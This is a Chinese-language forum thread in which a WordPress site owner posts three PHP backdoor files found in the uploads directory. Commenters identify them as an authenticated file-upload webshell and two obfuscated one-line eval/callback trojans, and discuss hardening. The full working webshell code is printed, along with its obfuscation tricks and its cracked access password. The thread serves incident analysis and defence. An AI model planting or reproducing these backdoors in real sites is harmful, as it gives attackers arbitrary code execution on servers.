V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Hardrain
V2EX  ›  PHP

一个 WordPress 站,疑似被传后门

  •  
  •   Hardrain · 2017-08-27 22:28:06 +08:00 · 5820 次点击
    这是一个创建于 2680 天前的主题,其中的信息可能已经有所发展或是发生改变。

    今检查 wordpress 的上传目录wp-content/uploads

    发现 3 个.php文件

    第一个./2014/12/conf-72e 内容如下

    <?php if(isset($_GET["ms-load"]) && md5($_GET["ms-load"])=="10c0d9d7dbb63d34fdb2cafee8782911"){
    $p=$_SERVER["DOCUMENT_ROOT"];
    $tyuf=dirname(__FILE__);
    echo <<<HTML
    <form enctype="multipart/form-data"  method="POST">
    Path:$p<br>
    <input name="file" type="file"><br>
    To:<br>
    <input size="48" value="$tyuf/" name="pt" type="text"><br>
    <input type="submit" value="Upload">
    HTML;
    if (isset($_POST["pt"])){
    $uploadfile = $_POST["pt"].$_FILES["file"]["name"];
    if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
    if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
    echo"uploaded:$uploadfile";
    echo"Size:".$_FILES["file"]["size"]."n";
    }else {
    print "Error:n";
    }
    }
    }
    

    第二个./2015/03/conf-72 内容如下

    <?php isset($_POST['8rfhxs']) && ($www= $_POST['8rfhxs']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');
    

    第三个./2015/07/cp1251-72 内容如下

    <?php
        if(isset($_GET['8rfhxs']) && isset($_GET['catid'])){
    	$id = $_GET['8rfhxs'];
    	echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):'';
    	$s = '';
    	foreach(array($id) as $v){
    	    $s.=$v;
    	}
    	ob_start($s);
    	if($catid){
    	    echo $catid;
    	}
    	ob_end_flush();
    }
    

    这三个好像都和传入参数有关,但里面变量不少,尤其是第一个(看起来像是先检测传入参数的 MD5,如吻合,就 POST 站点根目录下的什么东西,也没体现到什么域名 /IP,看起来很像后门.)

    上传时间都是 16 年 12 月,那时我已在上传目录的.htaccess添加了php_flag engine off,使这个目录下的 PHP 文件不被解析。

    可能因此骇客没得手.

    第 1 条附言  ·  2017-08-28 19:58:59 +08:00
    首先感谢 @fucker 的分析

    但这个后门是怎么被安插的已无法知晓
    是利用 Wordpress(某些旧版本)本身的 tinymce 的漏洞
    还是所用的插件有漏洞就不得而知了

    此外 上传目录一定要禁止 PHP 等的解析,防范恶意脚本被执行
    估计也正是因为如此,我站点没有明显被黑迹象,直到这次才发现被安了后门
    25 条回复    2017-08-30 23:54:31 +08:00
    litter123
        1
    litter123  
       2017-08-27 22:33:38 +08:00
    赶紧查查日志,看看哪些 IP 访问了,来一个逆袭 233
    Hardrain
        2
    Hardrain  
    OP
       2017-08-27 22:36:17 +08:00
    @litter123 手头(网盘上的除外)保有今年 6 月至今的日志
    检索后没发现对这两个路径的访问

    我估计去年 12 月骇客上传后门后发现没法用(我禁用上传目录的 PHP 解析)
    所以就放弃了。
    Hardrain
        3
    Hardrain  
    OP
       2017-08-27 22:38:45 +08:00
    此外,wordpress 本身的安全性还算不错

    我想知道这个后门怎么进来的……
    补充:ms-load.php 是 wordpress 的组件
    但经检索,$catid 这个变量出现于 PHPCMS,而非 WP
    litter123
        4
    litter123  
       2017-08-27 22:38:50 +08:00
    @Hardrain 我记得我有一次搬运博客的时候也发现一些来路不明的 PHP,看起来也像是后门,不过服务器倒是没有被黑进的迹象
    huafang
        5
    huafang  
       2017-08-27 23:47:43 +08:00
    怎么查看日志里的不正常访问呢
    wql
        6
    wql  
       2017-08-27 23:49:15 +08:00 via Android
    这就是后门吧……赶紧看看 apache 啥的 php 啥的升级一下
    jeffson
        7
    jeffson  
       2017-08-28 00:09:06 +08:00
    @Hardrain wordpress 一直有漏洞啊,要及时更近才安全
    yksoft1
        8
    yksoft1  
       2017-08-28 00:19:35 +08:00
    我突然关注的是 PHP 的 echo 的这个用法以前居然一直不知道。第一个就是个上传器吧
    jhdxr
        9
    jhdxr  
       2017-08-28 01:13:28 +08:00   ❤️ 1
    yksoft1
        10
    yksoft1  
       2017-08-28 02:31:00 +08:00
    @jhdxr 反正这个用法以前从来没有用过。
    ic3z
        11
    ic3z  
       2017-08-28 06:23:10 +08:00   ❤️ 1
    第二个利用 preg_replace 的 /e 模式执行代码
    第三个利用 ob_start 的第一个 callback 参数执行代码
    http://php.net/manual/en/function.ob-start.php
    90safe
        12
    90safe  
       2017-08-28 08:55:59 +08:00
    第三个是回调函数后门吧
    JackBlack2006
        13
    JackBlack2006  
       2017-08-28 09:15:29 +08:00
    看到这个贴我去检查了一下我的 WP,过去一周里有个阿三攻击过……

    103.204.244.6 Bangladesh Bangladesh 1
    fucker
        14
    fucker  
       2017-08-28 09:20:16 +08:00   ❤️ 3
    第一个文件是非常明显的带有身份验证的上传文件的后门脚本,
    早先的黑客手段(也许现在也不过时吧):
    通常是利用 web 程序的上传点 /文件写入 /命令执行 /高权限注入等方式向服务器写入被称为“小马”的可执行脚本
    这类脚本特征是体积小,能避开脚本层面的文件大小限制,以便上传体积更大功能更全的“大马”
    第一个文件中的 MD5:10c0d9d7dbb63d34fdb2cafee8782911 解密结果为:8rfhxs
    与后两个文件对比,可以断定是同一名黑客所为
    至于你所说的 ms-load 是某某组件,catid 又是某某 CMS 的变量
    这样说有点狭隘,因为木马是可以伪装的,而变量名的选用也是自由的。
    catid 就可以理解为 category id 吧,我相信不少开发人员开发数据库都会用 catid 做分类 ID 使用。
    偷偷说一下,我自己就这么用过。
    判断是不是木马,不是看它和别的程序 /组件 /插件 /代码的相似性,而是要从它的功能来判断
    第二个文件是一个比较经典的“一句话木马”
    其中用 rot13 转换了 riny 为 eval,其目的是为了执行任意 php 代码。
    第三个文件,也很明显,是一个绕过 XX 盾之类安全防护软件的变形 php 一句话木马
    其目的也是为了执行任意 php 代码。

    简而言之,都是后门,虽然暂时看起来没什么影响,不过还是赶快补补吧。
    jianghejie
        15
    jianghejie  
       2017-08-28 09:44:31 +08:00
    这很简单的漏洞啊,其实跟 worldpress 没关系,uplaod 之类的目录下是不能有脚本执行权限的
    dh7758
        16
    dh7758  
       2017-08-28 11:30:55 +08:00
    一句话?
    Hardrain
        17
    Hardrain  
    OP
       2017-08-28 16:42:54 +08:00
    @fucker 感谢分析!
    关于命名空间我的确有些狭隘了
    那个 CMS 的文档也说 catid 就是 category id

    另外我怎么觉得第一个是要通过 HTTP POST 窃取服务器上指定文件……
    不过全都删除了,一直没被黑的迹象可能是因为我停用了上传目录的 PHP 解析
    Hardrain
        18
    Hardrain  
    OP
       2017-08-28 16:44:12 +08:00
    @ic3z 不过按照 PHP Document 的说法 \e 这个修饰符从 5.5.0/7.0.0 版本开始就被弃用了……
    Hardrain
        19
    Hardrain  
    OP
       2017-08-28 16:44:46 +08:00
    @jeffson 一直使用的是最新版
    哪怕还不支持简体我也会升级
    Hardrain
        20
    Hardrain  
    OP
       2017-08-28 16:45:11 +08:00
    @huafang 查找日志文件中对这三个文件的访问
    fucker
        21
    fucker  
       2017-08-28 16:56:46 +08:00
    @Hardrain 明显不是窃取,很明显的 $uploadfile
    你仔细看一下代码执行的过程,是将 POST 中的文件取出,然后用 copy 函数复制(保存)
    最简单的方法,你本地搭个 PHP 环境试一下就知道了 :)
    loser
        22
    loser  
       2017-08-29 11:10:40 +08:00
    防不胜防,奇技淫巧真是多啊,现在的玩法真是溜的 1b
    ragnaroks
        23
    ragnaroks  
       2017-08-30 08:39:49 +08:00
    wordpress 安装好给予 / 禁止写权限,装个插件将所有附件存到 bos/oss/s3 等,手动升级 /装插件
    ragnaroks
        24
    ragnaroks  
       2017-08-30 08:40:36 +08:00
    如果是阿帕奇的话就不行了,不能禁止根目录写,不然 500,原因未知
    Hardrain
        25
    Hardrain  
    OP
       2017-08-30 23:54:31 +08:00
    @ragnaroks 我试过了 是可以的

    find /var/www/domain.tld/ -type f -exec chmod 444 {} +
    find /var/www/domain.tld/ -type d -exec chmod 555 {} +

    没有出 500
    但是这的确很不方便。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   970 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 22:58 · PVG 06:58 · LAX 14:58 · JFK 17:58
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.